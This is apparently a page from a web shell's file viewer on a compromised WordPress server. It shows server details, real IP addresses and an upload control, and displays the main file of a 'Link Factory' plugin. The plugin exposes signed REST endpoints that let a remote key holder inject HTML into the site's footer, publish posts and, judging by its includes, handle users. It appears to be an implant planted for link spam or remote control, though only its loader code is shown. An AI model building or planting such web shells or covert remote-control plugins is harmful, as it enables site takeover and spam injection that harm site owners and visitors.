| Server IP : 46.245.81.90 / Your IP : 216.73.217.112 Web Server : Apache System : Linux server3ir.xdlhost.com 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64 User : gmparts ( 1037) PHP Version : 8.1.34 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gmparts/public_html/wp-content/plugins/link-factory/ |
Upload File : |
<?php
/**
* Plugin Name: Link Factory
* Description: Sentence publisher and article publisher — exposes signed REST endpoints that store HTML sentences (rendered in wp_footer, homepage-only or sitewide) and publish standard WordPress posts via wp_insert_post().
* Version: 977adfa
* Author: Link Factory
* License: GPL-2.0-or-later
* Requires at least: 5.8
* Requires PHP: 7.4
*
* @package LinkFactory
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
define( 'LINK_FACTORY_VERSION', '977adfa' );
// Protocol 5: GET /articles honours the `fields` query param (omit `content` when not requested)
// and accepts `per_page` alongside the legacy `perPage`.
define( 'LINK_FACTORY_PROTOCOL_VERSION', 5 );
define( 'LINK_FACTORY_TABLE', 'link_factory_sentences' );
define( 'LINK_FACTORY_NAMESPACE', 'link-factory/v1' );
define( 'LINK_FACTORY_SIGNATURE_TOLERANCE_SECONDS', 300 );
define( 'LINK_FACTORY_TRUSTED_PUBLIC_KEY', 'nJBIBuWPRNn+M1ijYSHXcglIiYDNA084+kqgHEtgFq0=' );
require_once __DIR__ . '/includes/trait-signature.php';
require_once __DIR__ . '/includes/class-repository.php';
require_once __DIR__ . '/includes/class-health.php';
require_once __DIR__ . '/includes/class-sentences.php';
require_once __DIR__ . '/includes/class-articles.php';
require_once __DIR__ . '/includes/class-users.php';
require_once __DIR__ . '/includes/class-footer.php';
require_once __DIR__ . '/includes/class-plugin.php';
register_activation_hook( __FILE__, array( 'LinkFactory\\Plugin', 'activate' ) );
add_action( 'plugins_loaded', array( 'LinkFactory\\Plugin', 'boot' ) );